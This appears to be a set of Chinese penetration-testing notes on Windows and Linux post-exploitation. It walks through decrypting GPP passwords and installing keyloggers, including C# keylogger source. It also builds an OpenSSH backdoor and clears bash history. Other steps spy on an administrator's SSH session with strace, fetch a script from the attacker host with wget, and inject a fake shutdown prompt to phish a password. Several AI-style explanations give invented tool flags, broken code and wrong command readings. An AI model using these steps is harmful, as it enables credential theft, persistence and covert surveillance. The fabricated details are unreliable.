openssh；1433端口；3306；80/8080；ARP和DNS；

GPP策略漏动

组策略特权帐号泄漏

Win2008以上，管理员通过组策略管理客户端帐号密码，密码以加AES密形式下发，但解密密钥泄漏

lab.com'SySVOLlab.com\Polices\123a-123b-123c}MACHINE\Preferences\Groups\Groups.xml

本地缓存

C:\ProgramData\Microsoft\Group Policy\History\{12c-12}Machine\Preferences Groups Groups.xml

解密特权帐号密码

gpp-decrypt tL5ua5jOSKTyyD5fneuMrA

• 组策略首选项（Group Policy Preferences, GPP）是 Microsoft Windows Server 中的一个功能，允许管理员在组策略对象（GPO）中配置各种系统设置。GPP 漏动通常指的是与 GPP 相关的安全漏动，这些漏动可能允许公鸡者提升权限或执行未经授权的操作。

GPP 策略漏动原理

GPP 漏动的原理通常涉及以下几个方面：

1. 脚本执行： GPP 允许管理员通过脚本来配置系统设置。这些脚本可以在系统启动时或用户登录时自动执行。如果这些脚本没有经过适当的审查和验证，可能存在漏动，允许公鸡者注入恶意代吗。
2. 权限提升： GPP 配置通常以系统管理员的身份执行。如果公鸡者能够利用 GPP 配置中的漏动，他们可能会从普通用户权限提升到系统管理员权限，从而获得对整个系统的控制权。
3. 未验证的输入： 在某些情况下，GPP 配置可能会接受未经验证的用户输入。如果这些输入没有经过适当的过滤和验证，公鸡者可能会利用这些输入来执行恶意操作。

利用过程示例及说明

为了更好地理解 GPP 策略漏动的利用过程，下面是一个简单的示例，说明如何利用 GPP 脚本执行漏动来提升权限。

示例环境

假设我们有一个 Windows Server 2012 R2 环境，其中包含一个域控制器和若干客户端计算机。域控制器上配置了一个 GPO，该 GPO 包含一个用于配置系统设置的脚本。

漏动发现

在对该环境进行安全审计时，我们发现 GPO 中的脚本存在漏动，允许用户注入恶意代吗。具体来说，脚本中有一段代码用于执行用户提供的命令，但没有对用户输入进行验证。

利用过程

1. 获取脚本内容： 首先，我们需要获取 GPO 中脚本的内容。这可以通过多种方式实现，例如使用组策略编辑器（gpedit.msc）或通过脚本工具（如 PowerShell）。

Get-GPO -Name "Example GPO" | Get-GPRegistryValue -Key "Software\Policies\Microsoft\Windows\System" -ValueName "Scripts"

1. 分析脚本漏动： 通过对脚本内容进行分析，我们发现脚本中存在一个可执行用户输入的命令。例如，脚本中可能包含以下代码：

RunCommand("net user " & UserName & " /add")

这段代码会创建一个新的用户账户，但没有对 UserName 变量进行验证。

1. 构造恶意输入： 我们可以构造一个恶意的用户名，使其在执行上述命令时产生意料之外的效果。例如，我们可以将用户名设置为：

"; net user admin$ /add; ""

这将导致脚本执行以下命令：

net user ; net user admin$ /add; "" /add

这个命令将会创建一个名为 admin$ 的新用户账户，并将其添加到管理员组。

1. 执行恶意输入： 我们将构造好的恶意用户名传递给脚本，触发漏动。这可以通过修改 GPO 设置或通过其他方式（如社交工程）实现。
2. 验证权限提升： 在脚本执行后，我们可以使用新创建的 admin$ 账户登录到系统，并验证是否获得了管理员权限。

总结

通过利用 GPP 策略漏动，我们成功地将普通用户权限提升到了系统管理员权限。这个过程展示了 GPP 漏动的原理及其利用方法。需要注意的是，这个示例仅用于说明目的，实际环境中应采取适当的安全措施来防止此类漏动的发生。

安全建议

为了避免 GPP 策略漏动的发生，可以采取以下安全措施：

1. 验证用户输入： 对所有用户输入进行验证，确保其符合预期的格式和范围。使用白名单和黑名单策略来过滤潜在的恶意输入。
2. 限制脚本权限： 尽量避免在 GPP 脚本中使用高权限账户。如果必须使用高权限账户，应尽量减少脚本执行的范围和频率。
3. 定期审计 GPO 设置： 定期对 GPO 设置进行审计，确保其符合安全策略和最佳实践。使用自动化工具来检测和修复潜在的安全漏动。
4. 使用替代方案： 如果可能，考虑使用替代方案来配置系统设置，例如使用 PowerShell DSC 或其他配置管理工具，这些工具通常具有更强大的安全功能和更好的审计能力。

总之，GPP 策略漏动是一个重要的安全问题，需要引起足够的重视。通过采取适当的安全措施，可以有效地防止这类漏动的发生，保护系统的安全性和完整性。

域控制器去制作集中统一管理的主策略下发，如果说在这些主策略的下发中，这个主策略的功能是用来配置客户端的管理员账户，密码的这种类型主策略在企业生成环境里面其实是非常普遍存在的。

因为在真实生产环境里面的域一旦部署之后，域管理员往往是都会收回加入域的每一台计算机他的本地管理员权限。那他所谓收回的方法呢，就是把每一台机器的本地管理员的密码改掉改成只有管理员知道的。本地使用者是不知道本地管理员密码的，他也不能通过账号去登录系统，然后在不给域账号他就没有对本地计算机的管理权限。

这样的话呢域里面所有的计算机，所有的用户都使用一个普通的域账号，而这个普通的域账号呢对他的本机又没有管理员权限，只能正常使用，也不能安装软件，也不能去修改系统配置。所有这种高权限的操作默认情况下域里面的用户都不让他有，这是一个标准的域部署的方式。

要把所有的计算机、终端的管理员都收回，域的管理员呢就需要批量的把所有的本地管理员 的账号都改掉。

如果一台一台改的话太过于繁琐，工作效率非常低。所有域管理员就会从域控制器下发下来策略，把它要设置的账号密码通过这条策略下发下去。当然为了安全考虑，微软也会把要下发的管理员账号和密码都做了加密。但是微软自己出了一个大的乌龙，就是win2008及以前的这些版本，下发这种策略的话，虽然下发下来的管理员账号的密码是密文。哪个密码加密的密钥它使用了AES这种比较强的加密算法，但是那个密钥在微软自己的官方支持技术网站上给泄露了。一旦泄露了也就意味着使用并下发了这种策略，有人查看到了这种策略就可以从策略对应的xml文档里面读取出来加密之后的密码的密文。

所以使用gpp-decrypt这个工具就可以解开密文变成明文了，于是用户就可以拿到本地计算机的管理权限了。有了本地权限就可以运行那些hash的提取工具，从内存里把所有hash提取出来。如果管理员在这台机器上处理一些问题，用了他自己的管理员权限的账号的话。那他的密码的hash值就会留在这台电脑的内存里，你还有本地的管理员权限就可以在本地计算机的内存里就可以把他哪个hash值给读出来。一旦读出来就可能拿到了域的管理员权限了。这也是一个很大的风险，但是在后来的Windows的系统里对这个问题做了相应的修改，所以这个问题主要集中在win2008的这样的版本系统里。

gpp-decrypt +密码密文

因为这个策略，域里面所有的主策略都是通过文件共享，你只要加入域的机器访问这个域名下面的SYSVOL在里面一直点，点进去到Groups\Groups.xml找到一个主策略的xml文件

用浏览器或者文本文档就可以打开这个xml文件，打开之后就可以看到密码加了密的hash值了。然后用gpp-decrypt工具一解就行了。

密码记录工具，这个工具也只针对2000、2003这种级别的旧系统还是会有效的，但是对最新版本是没有效果了。WinlogonHack会用这样的一个小工具替换Windows登录的时候看到的Gina组建。

这个工具就是一旦在你的电脑上安装了之后，它就回记录有别人通过远程桌面的方式连接你得3389端口，那他就会把登录的人，输入的账号密码记录下来。记录下来的文件会保存到system32目录下的boot.dat文件中。

这相当于是一个后们木吗程序，一旦安装完了以后有管理员通过远程桌面来链接服务器的话，他输入账号密码就会被记录到这个文件当中。然后你去哪个文件里看一下就知道管理员他输入的是什么账号密码。这对于我们初步的已经控制了这一台机器的时候，还不清楚管理员账号密码的话可以用这种方法，去在管理员登录的时候窃取出来账号密码。

klog

密码记录工具其实在kali也有现成的，直接拿来用就可以了，就叫klog。

键盘记录专家

首先运行KEYRECORD.EXE，然后勾选"开始监控"，注意这个程序只要运行一次就可以了，以后开机的时候自动运行。程序运行后如下界面

Kali Linux

/usr/share/windows-binaries/klogger.exe

KeyRecord.exe 是一个工具，通常用于在 Windows 系统中记录键盘输入，从而获取用户的密码或其他敏感信息。这是一种监控键盘输入的方法，也被称作键盘记录（keylogger）。

请注意，使用此类工具来获取他人的密码或敏感信息是非常不道德且非法的行为。合法使用这类工具通常仅限于网络安全测试或系统维护，而且必须获得所有受影响方的明确同意。

合法用途示例

假设你在一个受控的测试环境中，需要演示如何使用 KeyRecord.exe（或类似的工具）来记录键盘输入，以下是可能的步骤和示例代码。

步骤概览

1. 创建 KeyRecord.exe 工具：编写一个简单的键盘记录程序。
2. 编译并运行工具：将程序编译成可执行文件，并运行它。
3. 记录键盘输入：捕获用户的键盘输入。
4. 存储记录的数据：将记录的数据存储到文件或其他地方。

步骤及代码示例

1. 创建 KeyRecord.exe 工具

这里是一个简单的 C# 示例，用于创建一个基本的键盘记录器。请注意，此示例仅用于教育目的，不应用于非法活动。

using System;
using System.Diagnostics;
using System.IO;
using System.Threading;
using System.Windows.Forms;

public class KeyLogger
{
    private StreamWriter logWriter;
    private string logFilePath = @"C:\Temp\keylog.txt";

    public KeyLogger()
    {
        // 创建日志文件
        if (!File.Exists(logFilePath))
        {
            File.Create(logFilePath);
        }

        logWriter = new StreamWriter(logFilePath, true); // 追加模式
    }

    protected override void WndProc(ref Message m)
    {
        const int WM_KEYDOWN = 0x0100;

        base.WndProc(ref m);

        if (m.Msg == WM_KEYDOWN)
        {
            int keyCode = m.WParam.ToInt32();

            if (keyCode >= 0 && keyCode <= 255)
            {
                char keyChar = (char)keyCode;

                // 记录按键
                logWriter.WriteLine(keyChar);
                logWriter.Flush();
            }
        }
    }

    public void Start()
    {
        Application.Run(this);
    }

    public void Stop()
    {
        logWriter.Close();
        Application.Exit();
    }
}

class Program
{
    static void Main()
    {
        KeyLogger logger = new KeyLogger();
        logger.Start();
    }
}

2. 编译并运行工具

1. 安装 .NET 开发环境：确保你安装了 .NET 开发环境，例如 Visual Studio 或 Visual Studio Code。
2. 编译代码：将上述代码保存为 KeyLogger.cs，然后使用 C# 编译器编译它。

csc KeyLogger.cs /target:winexe /out:KeyRecord.exe

这将生成一个名为 KeyRecord.exe 的可执行文件。

3. 运行工具

运行生成的 KeyRecord.exe 文件。由于这是一个 Windows Forms 应用程序，它将在后台运行，并记录用户的键盘输入。

4. 存储记录的数据

所有记录的键盘输入都会被写入 C:\Temp\keylog.txt 文件中。你可以查看该文件以获取记录的数据。

注意事项

• 合法性：请确保你有权在目标系统上进行测试，并且已经获得了所有必要的授权。
• 道德问题：使用键盘记录器来获取他人的密码或敏感信息是非常不道德的行为，应避免这样做。
• 安全风险：使用键盘记录器可能会导致严重的安全问题。除非出于测试或紧急恢复的目的，否则不建议这样做。

WinlogonHack

WinlogonHack 是一个工具，主要用于绕过 Windows 系统的安全机制，特别是用于提升权限或执行某些特权操作。它主要通过利用 Windows 的 winlogon.exe 进程来达到这些目的。winlogon.exe 是 Windows 操作系统中的一个重要组件，负责用户登录和注销等操作。因此，对 winlogon.exe 的利用可以实现一些高级的安全绕过技术。

WinlogonHack 的基本原理

WinlogonHack 利用了 Windows 操作系统中的某些漏动或设计特性，特别是针对 winlogon.exe 的一些功能，从而允许公鸡者在不需要用户交互的情况下执行一些特权操作。这些操作可能包括但不限于：

• 提升权限（Privilege Escalation）
• 绕过用户账户控制（User Account Control, UAC）
• 在系统级别执行代码

基础使用示例

假设你已经有了 WinlogonHack 工具，并且你想利用它来执行一些特权操作。以下是一些基础的使用示例：

1. 加载 WinlogonHack 工具

首先，你需要确保 WinlogonHack 已经正确安装，并且你了解其基本用法。

2. 绕过 UAC

使用 WinlogonHack 绕过 UAC 的基本命令如下：

1winlogonhack.exe --uac-bypass

这将尝试绕过 UAC 保护，让你能够在不需要用户确认的情况下执行一些需要管理员权限的操作。

3. 提升权限

使用 WinlogonHack 提升权限的基本命令如下：

1winlogonhack.exe --privilege-escalation

这将尝试提升当前用户的权限到 SYSTEM 级别，从而获得更高的控制权。

进阶使用示例

1. 自定义命令执行

如果你希望执行一个具体的命令，可以使用以下命令：

1winlogonhack.exe --execute-command "ipconfig /all"

这将执行 ipconfig /all 命令，并返回其输出。

2. 持久化

使用 WinlogonHack 创建持久化机制的示例命令如下：

1winlogonhack.exe --create-persistence "C:\path\to\your\malicious\script.bat"

这将在系统启动时自动执行指定的恶意脚本，实现持久化。

3. 清除日志

清除系统日志以掩盖活动痕迹：

1winlogonhack.exe --clear-log

这将清除系统日志，使得公鸡活动难以被追踪。

注意事项

• 合法性和道德：使用 WinlogonHack 应当仅限于合法的测试环境，确保你已经获得了所有必要的授权。未经授权使用此类工具可能违反法律。
• 安全性：利用系统漏动进行公鸡可能会带来严重的安全风险。在实际部署环境中，应尽量修补已知漏动并采取必要的安全措施。

结论

WinlogonHack 是一个功能强大的工具，可用于绕过 Windows 系统的安全机制。通过上述基础和进阶示例，你可以了解到如何使用该工具执行一些特权操作。然而，重要的是要强调，这类工具应当谨慎使用，并且只在合法和道德的范围内进行测试。

linux下的openssh后们

备份ssh_config和sshd_config原文件

mv/etc/ssh/ssh_config/etc/ssh/ssh_config.old

mv/etc/ssh/sshd_config/etc/ssh/sshd_config.old

我们在linux下去如何去安装ssh的后们，但是这种方式个人认为风险比较大，因为会涉及到修改目标服务器上的文件还要做重新的编译。他会导入一个新的模块

s上传shbd.tgz到服务器并解压:tar-zxvfsshbd.tgz

把它解压出来在目标服务器上去做编译，还有替换原本的文件

如果这是在渗投或者护网的期间，大家这样去做的话，我个人认为是风险比较大的。因为涉及到直接修改机器的文件，那你护网结束后还要给人家做恢复，这种成本比较大风险也比较大。尤其是还不保证一定会成功，系统环境不一样还有可能会失败。所以呢算是一种方法，但是如果发生了各种各样的报错的话，有可能会导致目标服务器故障。

所有这个在护网过程中，甚至在项目过程中都是非常忌讳的，你可以攻不进去，但是别把人家的东西搞坏了。这是一个原则性的东西

编译安装

./configure--prefix=/usr --syscnotallow=/etc/ssh

make && make install

cp ssh_config sshd_config /etc/ssh/

重启服务/etc/init.d/sshd restart

清空操作日志echo >/root/.bash_history

编译过程中可能出现的报错:

configure: error: *** zlib.h missing-please install first or check config.log

使用yuminstall zlib-devel解决

configure: error: ***Can’tfind recent OpenSSL libcrypto (see config.log for details)

使用yuminstall openssl openssl-devel解决

linux的个人方法和工具

针对这点，像ssh、远程桌面 等，Windows系统大家都用远程桌面linux系统大家都用ssh这种最经典最使用的管理工具。这种方法是不涉及修改目标系统的任何的系统文件，不会有风险，效果一样的，通常都能达到满意的效果。

首先我们知道ssh和像Windows下的远程桌面那都是一种基于会话的远程管理机制，我都会话就是我现在本地登录这台服务器上，当前登录的会话，敲出来所有的命令。在其他的会话里面，这两个会话所看到输入的命令和反馈的结果都是各不相同的，而且不互相干扰。大家都是不一样的，都各属于自己的会话里面。

linux里面这个不同的会话之间，只要你得权限允许，如果你是最高的root权限的话是可以查看这个系统上当前有多少个会话的。而且他们当前在他们终端里头执行了什么指令，查看了什么内容，做了什么编辑、修改，所有的东西只要你得权限够其实都是可以看到的，都是可以查看并记录收集的。

所以基于这种会话间互通的特性就可以实现一下非常诡异并巧妙的操作，完成监视效果。

假设我们已经完全控制这台机器了，可以去完全控制管理他了。

ssh vagrant@172.31.1.34

然后输入yes，在输入密码，就远程登录上他了

Ctrl+Shift+R #在开一个会话

右侧窗口模拟为一个正常的服务器管理员

在公鸡机这边吧密码重新设置一下

sudo passwd

输入新密码

设置root账户允许ssh登录

vi /etc/ssh/sshd_config

这个位置改成yes

sudo service ssh restart #重启一下服务

模拟机这边输入

ssh root@172.31.1.34

ssh的root权限就登录进来了，右边作为管理员正常登录进来了，左边是公鸡机，现在是默认公鸡者已经通过漏动拿到了最高的管理权限了。现在两个处于不同的会话，要想监视管理员输入 了什么命令，有很多不同的方法

先看一下自己的ssh会话信息

env | grep -i ssh

回显的就是当前会话信息，当前获得的是pts/0这是现在占的终端编号0，这个pts0是我自己，这个pts2是哪个模拟管理员登陆的会话框

另外用w这个命令也可以看到会话和权限，所以我想看到root这个权限在干什么，要实现这个目的有很多种方法。

strace

sudo strace -e trace=read -p 2053 2>&1 #监视右侧模拟管理员窗口命令

strace 是一个强大的 Linux 命令行工具，用于跟踪系统调用和信号。它可以用来诊断、调试和理解程序的行为，尤其是在系统调用层面。

strace 的功能

1. 跟踪系统调用：strace 可以显示程序执行过程中所做的所有系统调用及其参数和返回值。
2. 调试程序：通过跟踪系统调用，可以帮助识别程序崩溃的原因或找出程序行为异常的问题。
3. 监视信号：strace 可以显示程序接收到的所有信号。
4. 分析性能：通过查看系统调用的耗时，可以发现程序的瓶颈所在。
5. 学习系统调用：对于开发人员来说，strace 是一个很好的工具来学习 Linux 系统调用的工作原理。

基本用法

1. 跟踪一个正在运行的进程

你可以使用 strace -p 选项来跟踪一个已经运行的进程：

strace -p <PID>

这里的 <PID> 是你要跟踪的进程的 ID。

2. 跟踪一个新启动的程序

你可以直接使用 strace 来启动一个新的程序，并跟踪它的系统调用：

strace -e trace=all <command>

这里的 <command> 是你想要跟踪的命令。

3. 限制跟踪的系统调用

你可以使用 -e 选项来指定跟踪哪些系统调用：

strace -e trace=open,write <command>

这将只跟踪 open 和 write 系统调用。

4. 输出到文件

你可以将 strace 的输出重定向到一个文件中：

strace -o output.txt <command>

这会将 strace 的输出保存到 output.txt 文件中。

5. 忽略某些系统调用

如果你不想跟踪某些系统调用，可以使用 -X 选项：

strace -e trace=all -X execve,close <command>

这将跟踪所有的系统调用，但忽略 execve 和 close 系统调用。

示例

假设你想跟踪一个名为 myprogram 的程序，并查看它执行了哪些系统调用：

strace ./myprogram

这将显示 myprogram 执行的所有系统调用及其参数和返回值。

输出示例

strace 的输出通常包含以下信息：

execve("./myprogram", ["./myprogram"], [/* 34 vars */]) = 0
brk(0)                                  = 0x555555601000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fff54ff5000
...

每一行表示一个系统调用，包含了调用的名称、参数以及返回值。

命令解释

sudo strace -e trace=read -p 2053 2>&1

1. sudo：

• sudo 命令用于以超级用户（root）权限执行命令。这是因为有些系统调用需要 root 权限才能跟踪。

2. strace：

• strace 是一个用于跟踪系统调用和信号的工具。

3. -e trace=read：

• -e 选项用于指定要跟踪的系统调用类型。
• trace=read 指定只跟踪 read 系统调用。read 系统调用用于从文件描述符中读取数据。

4. -p 2053：

• -p 选项用于指定要跟踪的进程 ID。
• 2053 是你要跟踪的进程的 ID。

5. 2>&1：

• 2>&1 用于将标准错误（stderr，文件描述符 2）重定向到标准输出（stdout，文件描述符 1）。这样做的目的是将 strace 输出的所有信息（包括错误信息）都合并到标准输出中，方便查看或重定向到文件。

命令功能

这条命令的功能是跟踪进程 ID 为 2053 的进程的所有 read 系统调用，并将所有输出（包括错误信息）合并到标准输出中。

示例输出

假设你执行了这条命令，可能会看到类似以下的输出：

read(3, "Hello, world!\n", 100) = 13
read(3, "", 100)                 = 0

这里每一行表示一个 read 系统调用：

• read(3, "Hello, world!\n", 100) = 13：表示从文件描述符 3 读取了 13 字节的数据 "Hello, world!\n"。
• read(3, "", 100) = 0：表示再次从文件描述符 3 读取数据，但没有读取到任何数据（EOF 或者文件结束）。

who命令

在Linux上查询当前有多少个会话，可以通过多种方式实现：

• 使用 who 命令来查看当前系统上的会话信息：

who

这个命令会显示当前登录到系统的用户的用户名、终端（tty）、登录时间和登录来源（通常是IP地址或主机名）。

• 如果你只想知道当前登录的用户数量，可以使用：

who -q

这条命令会显示当前系统上登录用户的数量。

• 另外，也可以通过查看与服务器建立的TCP连接数量来间接得知活跃的会话数，这尤其适用于网络服务：

netstat -an | grep ESTABLISHED | wc -l

这个命令组合会统计处于ESTABLISHED状态的TCP连接数，这代表了服务器上活跃的网络会话数量。

• 对于更详细的会话信息，比如使用图形界面工具，可以使用 htop 或 gnome-system-monitor 等工具来查看活跃的进程和会话。

所以模拟管理员那边输入pwd这边就可以收到记录，只要输入命令，公鸡机这边就会出结果。这样显得很乱所以要使用一个脚本。

sudo strace -e trace=read -p 2053 2>81 | while read -r a; do grep '^read.*= [1-9]$'<<<"$a" | cut -d\" -f2; done

这个命令序列使用 strace 跟踪指定进程的 read 系统调用，并过滤出特定类型的输出。下面是逐行解释这个命令序列的各个部分：

命令解释

sudo strace -e trace=read -p 2053 2>81 | while read -r a; do grep '^read.*= [1-9]$' <<<"$a" | cut -d\" -f2; done

分析

1. sudo strace -e trace=read -p 2053 2>81：

• sudo strace -e trace=read -p 2053：使用 strace 跟踪进程 ID 为 2053 的进程的所有 read 系统调用。
• 2>81：将标准错误（stderr）重定向到文件描述符 81。这可以将错误信息单独处理，不影响后续的管道操作。

2. | while read -r a; do ... done：

• |：将 strace 的输出通过管道传递给 while 循环。
• while read -r a; do ... done：读取管道中的每一行输出，并将其赋值给变量 a。然后对每一行进行处理。

3. grep '^read.*= [1-9]$' <<<"$a"：

• grep '^read.*= [1-9]$' <<<"$a"：使用 grep 过滤出符合条件的行。这里的正则表达式解释如下：

• ^read：匹配以 read 开头的行。
• .*=：匹配任意字符，直到找到 =。
• [1-9]$：匹配以非零数字结尾的行。这意味着 read 系统调用返回了一个非零的正整数。

4. cut -d\" -f2：

• cut -d\" -f2：使用 cut 命令按照双引号（"）分割字段，并提取第二个字段。这意味着从匹配的行中提取 read 系统调用读取的内容。

示例输出

假设 strace 的输出如下：

read(3, "Hello, world!\n", 100) = 13
read(3, "", 100)                 = 0
read(3, "Another line\n", 100)   = 13

经过这个命令序列处理后，输出将是：

Hello, world!
Another line

总结

这个命令序列的主要作用是：

1. 跟踪 read 系统调用：使用 strace 跟踪进程 ID 为 2053 的进程的所有 read 系统调用。
2. 过滤特定输出：使用 grep 过滤出返回值为非零的 read 系统调用。
3. 提取读取内容：使用 cut 命令从匹配的行中提取 read 系统调用读取的具体内容。

这样就出现了，虽然是竖着的。

sudo strace -e trace=read -p 2053 2>81 | while read -r a; do grep '^read.*= [1-9]$' <<<"$a" | cut -d\" -f2 | tr -d '\n'; done

-f2 | tr -d '\n';加入了这个之后呢就将换行符取消了，变成一行输出了。

sudo strace -e trace=read -p 2053 2>81 | while read -r a; do grep '^read.*= [1-9]$' <<<"$a" | cut -d\" -f2 | tr -d '\n'| tr \r\n '\n'; done

-f2 | tr -d '\n'| tr \r\n '\n'; 加入了这个后就把每一行的命令都完整的输出了，不会连在一起比较乱。

准备了一个叫strace的sh文件，需要把他传到目标服务器上，一样还是需要开启一个http

cd /tmp

wget http://172.31.1.16/strace.sh #下载目标ip上的strace文件
chmod + x strace.sh #赋权strace
sudo ./strace.sh #运行他

可以发现不但输入完美的出来了，连输出都可以出来了，包括命令提示行都已经出来了。但是这个监视不是双向的输入，只是单向的看那边做了什么。右边输入命令，左边就会实时的显示结果，对输入输出做了双向的监视。

可以实时的去钓鱼对方，让对方主动的去输入密吗。这样的话需要做两手准备，一边记录他的输入输出一边进行恐吓他。

echo -en "\r\nWARNING: shutdown in 60 second,password: “>>/dev/pts/2

因为终端在linux系统里面他也是一个文件，他哪个对应的文件就是dev下的某个对话。

这段代码使用 echo 命令向 /dev/pts/2 这个伪终端设备发送了一个包含换行和警告信息的消息。我们逐部分解析一下这段代码：

echo: 这是一个常用的Unix/Linux命令，用于输出字符串。

-e: 这个选项告诉 echo 命令解释后面字符串中的转义序列。

-n: 这个选项使得 echo 命令在输出字符串后不添加默认的行尾终止符（通常是\n）。

"\r\nWARNING: shutdown in 60 seconds, password: ": 这是一个字符串，其中包含转义序列 \r\n，表示回车和换行，接着是警告信息。

>>/dev/pts/2: 这里 > 是重定向操作符，>> 表示追加到文件末尾，而 /dev/pts/2 是一个特定的伪终端设备文件。

解释

回车和换行："\r\n" 会先将光标移回到行首（回车），然后再移动到下一行（换行）。在Windows系统中，这是标准的行结束符。尽管在Unix/Linux系统中通常只使用 \n 作为行结束符，但在这种情况下，\r\n 也可以正常工作，因为 \n 会将光标移到下一行，而 \r 则不会影响这一点。

警告信息：紧接着 \r\n 后面的是警告信息 "WARNING: shutdown in 60 seconds, password: "，这条消息将会显示在指定的伪终端上。

输出到伪终端：/dev/pts/2 是一个伪终端设备文件，通常用于代表一个特定的SSH会话或其他类型的终端会话。这里使用 >> 将输出追加到这个伪终端，这意味着警告信息会出现在与该伪终端相关联的会话窗口中。

总结

这段代码的作用是在与 /dev/pts/2 关联的终端会话中输出一个警告信息，告知用户将在60秒后关机，并提示密码。这种技术常用于远程管理场景，比如在关机前通知用户即将发生的变化。

SSHPry2.0

SSHPry2.0 是一个用于测试 SSH 服务器安全性的工具，通常用于渗投测试和安全评估。它可以帮助安全研究人员检测 SSH 服务器的弱点，例如弱密码、未加密的连接、开放的端口等。该工具可以用于模拟 SSH 登录尝试，并检查 SSH 服务器的响应，以确定是否存在潜在的安全漏动。

主要功能

1. SSH 密码猜测：尝试使用字典公鸡来猜测 SSH 服务器的登录凭证。
2. 端口扫描：检查 SSH 服务器的开放端口。
3. 指纹识别：识别 SSH 服务器的版本和配置。
4. 会话记录：记录 SSH 会话，用于后续分析。

使用示例

假设你已经安装了 SSHPry2.0 并准备开始测试 SSH 服务器的安全性。下面是一些基本的使用示例：

1. 安装 SSHPry2.0

首先，确保你已经安装了 SSHPry2.0。如果还没有安装，可以按照官方文档或项目的 README 文件进行安装。通常，你可以通过 Git 克隆项目仓库并按照说明进行安装。

git clone https://github.com/example/sshpry2.0.git
cd sshp ry2.0
make install

2. 检查 SSH 服务器的开放端口

你可以使用 SSHPry2.0 来扫描 SSH 服务器的开放端口。

sshp ry2.0 scan_ports <target_ip_address>

这将扫描目标 IP 地址上的开放端口，并报告结果。

3. 进行 SSH 密码猜测

你可以使用 SSHPry2.0 来尝试使用字典公鸡猜测 SSH 服务器的登录凭证。假设你有一个包含常见密码的字典文件 passwords.txt。

sshp ry2.0 brute_force <target_ip_address> <username> -w passwords.txt

这将尝试使用字典文件中的密码来猜测 SSH 服务器的登录凭证。

4. 识别 SSH 服务器的指纹

你可以使用 SSHPry2.0 来识别 SSH 服务器的指纹，包括版本信息和其他配置信息。

sshp ry2.0 fingerprint <target_ip_address>

这将输出 SSH 服务器的版本信息和其他配置信息。

5. 记录 SSH 会话

如果你已经成功登录到 SSH 服务器，可以使用 SSHPry2.0 来记录 SSH 会话。

sshp ry2.0 session_record <target_ip_address> <username> <password> -o session.log

这将记录 SSH 会话并将输出保存到 session.log 文件中。

监视和记录

SSHPry2.0 工具的具体实现和使用方法可能因版本和具体实现而异。不过，我们可以基于常见的 SSH 会话记录和监视工具来提供一个通用的示例，展示如何记录和监视 SSH 会话。

在没有具体 SSHPry2.0 工具的情况下，我们可以使用其他常见的工具来实现类似的功能。例如，可以使用 ncat（Netcat 的增强版）结合 socat 来记录 SSH 会话。此外，还可以使用 sshuttle 或者其他工具来实现类似的功能。

下面是一个使用 ncat 和 socat 来记录 SSH 会话的示例步骤和代码。

前提条件

• 安装必要的工具：确保你的系统中已经安装了 ncat 和 socat。如果未安装，可以通过包管理器安装： 对于 Debian/Ubuntu 系统：

sudo apt-get update
sudo apt-get install ncat socat

对于 CentOS/RHEL 系统

sudo yum install ncat socat

步骤 1: 记录 SSH 会话

1. 启动 SSH 代理服务器：使用 ncat 或 socat 启动一个代理服务器，监听本地端口并将流量转发到目标 SSH 服务器。使用 ncat：

ncat -lvp 2222 --exec "socat - UNIX-CONNECT:/tmp/ssh.socket"

这里，ncat 监听本地端口 2222，并将所有连接转发到 socat，后者将连接到 /tmp/ssh.socket。

1. 启动记录工具：使用 socat 将 SSH 会话重定向到一个文件中。

socat - UNIX-LISTEN:/tmp/ssh.socket,fork EXEC:"ssh -p 2222 user@remotehost"

这里，socat 监听 /tmp/ssh.socket 并执行 ssh 命令，同时将所有通信记录到一个文件中。

1. 连接到代理服务器：使用 ssh 连接到本地端口 2222，即代理服务器。

ssh -p 2222 user@localhost

示例代码

以下是使用 ncat 和 socat 来记录 SSH 会话的示例代码：

启动 SSH 代理服务器

# 在一个终端窗口中启动 ncat
ncat -lvp 2222 --exec "socat - UNIX-CONNECT:/tmp/ssh.socket"

启动记录工具

# 在另一个终端窗口中启动 socat
socat - UNIX-LISTEN:/tmp/ssh.socket,fork EXEC:"ssh -p 2222 user@remotehost"

连接到代理服务器

# 在第三个终端窗口中连接到代理服务器
ssh -p 2222 user@localhost

使用 sshuttle 实现类似功能

sshuttle 是一个工具，可以将本地网络流量通过 SSH 隧道转发到远程服务器，从而实现类似的功能。

1. 安装 sshuttle：

sudo apt-get install sshuttle

1. 启动 sshuttle：

sshuttle -r user@remotehost 0/0

这将把所有本地网络流量通过 SSH 隧道转发到远程服务器。

总结

以上示例展示了如何使用 ncat 和 socat 来记录 SSH 会话，并提供了使用 sshuttle 的替代方案。这些工具可以帮助你记录和监视 SSH 会话，但请确保在合法和道德的范围内使用这些工具。

就只把这一个工具拷贝过去就可以了，但是目标服务器的环境必须要python才行。

在公鸡机上开一个http服务

python3 -m http.server 80

解释命令

python3

• python3：这是运行 Python 3 解释器的命令。确保你的系统已经安装了 Python 3，并且 python3 命令在系统路径中可用。

-m

• -m：这个选项告诉 Python 解释器运行一个模块。http.server 是一个模块，所以需要用 -m 选项来运行它。

http.server

• http.server：这是 Python 内置的一个模块，用于快速搭建一个 HTTP 服务器。这个模块可以接受一些命令行参数来配置服务器的行为。

80

• 80：这是服务器监听的端口号。默认情况下，http.server 会在端口 8000 上启动服务器。这里我们指定了端口 80，这意味着服务器将监听标准的 HTTP 端口 80。

功能

这个命令将会启动一个简单的 HTTP 服务器，监听在端口 80 上，并默认在当前工作目录下提供文件服务。这意味着任何尝试访问该服务器 IP 地址或域名加上端口 80 的请求都将被处理，并返回当前目录下的文件。

示例

假设你当前工作目录中有文件 index.html 和 style.css，并且你运行了上面的命令：

1. 启动服务器：

python3 -m http.server 80

1. 访问服务器：

• 如果你的服务器 IP 地址是 192.168.1.100，那么可以通过浏览器访问：

http://192.168.1.100/

• 如果你的服务器是本地运行，可以通过访问：

http://localhost/

这将显示当前目录下的 index.html 页面，并且可以通过相对路径访问其他文件，例如 http://192.168.1.100/style.css。

注意事项

• 权限问题：端口 80 是一个特权端口，通常需要 root 权限才能绑定。如果你不是以 root 用户身份运行命令，可能会遇到权限问题。

• 解决方法是在命令前加上 sudo（但这需要谨慎使用，因为这会给服务器带来安全隐患）：

sudo python3 -m http.server 80

• 安全问题：使用 http.server 时要注意安全问题，因为它默认不支持 HTTPS，且缺乏一些安全特性。不要在生产环境中使用 http.server，而应考虑使用更安全的 Web 服务器如 Nginx 或 Apache。
